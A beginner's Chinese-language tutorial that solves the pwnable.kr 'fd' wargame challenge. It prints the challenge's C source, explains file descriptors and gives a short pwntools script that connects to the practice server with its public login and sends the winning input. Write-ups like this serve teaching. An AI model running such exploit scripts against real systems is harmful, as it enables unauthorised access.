從pwnable.kr 入門pwn系列教程(1)
前言:
前段時間學了一段時間pwn,因為某些事斷了下來,現在開始重新學習,現在立志要真正入門pwn,會編寫漏洞利用(利用pwntools),會基本linux命令,因為pwn題目很多都是在linux下的,比較少在windows下。
正文:
今天通過pwnable.kr的第一道題目fd來學習pwn
題目就是這樣,題目最下方有個ssh命令,這是linux的遠端連線命令,(host=pwnable.kr , user =fd password=2222 password=guest)為什麼這麼寫等會你們就知道了,可以開啟linux終端,直接輸入那行命令進行連線ssh [email protected] -p2222
輸入那行命令後輸入密碼,有時候會提示安全性問題,選擇Y(yes),輸入密碼,輸入密碼的時候是不會回顯的(顯示在螢幕上)
密碼為guest,然後ls(ls命令學習) 檢視有什麼檔案,然後輸入cat fd.c 檢視fd.c的檔案內容,
#include <stdio.h> #include <stdlib.h> #include <string.h> char buf[32]; int main(int argc, char* argv[], char* envp[]){ if(argc<2){ printf("pass argv[1] a number\n"); return 0; } int fd = atoi( argv[1] ) - 0x1234; int len = 0; len = read(fd, buf, 32);//關鍵點 if(!strcmp("LETMEWIN\n", buf)){ printf("good job :)\n"); system("/bin/cat flag"); exit(0); } printf("learn about Linux file IO\n"); return 0; }
這裡需要補一下知識,檔案描述符,百度搜索一下可以查到
0為標準輸入,1為標準輸出,2為標準錯誤,而我們看到read(fd, buf, 32);//關鍵點,這裡fd便是關鍵,若為0,我們自己輸入後,變成功得到flag,所以,我們就要推回去,怎麼讓fd為0,也就是atoi(argv[1])大小為0x1234(atoi是c語言的將字串轉化為數字,假設字串為str =1234,他會轉化為數字int=1234),而0x1234是16進位制的,用計算器轉換下為4660,也就是說我們要使argv[1]為4660,好,整個思路理清了,接下來便是怎麼利用了
#!/usr/bin/env python 2 # coding=utf-8 3 from pwn import * 4 pwn_ssh=ssh(host='pwnable.kr',user='fd',password='guest',port=2222)#遠端連線 5 print(pwn_ssh.connected())#連線成功判斷 6 sh=pwn_ssh.process(argv=['fd','4660'],executable='./fd')#載入程序 7 sh.sendline('LETMEWIN')#傳送一行資料,在末尾加上\n 8 print(sh.recvall())#接受到EOF
這是我模仿別人的pwn程式碼寫的註釋,方便新手看,我也是新手,苦於找不到方法學pwn的漏洞利用,程式碼風格自選
學著別人寫exploit,以後應該就會了,都是模仿開始的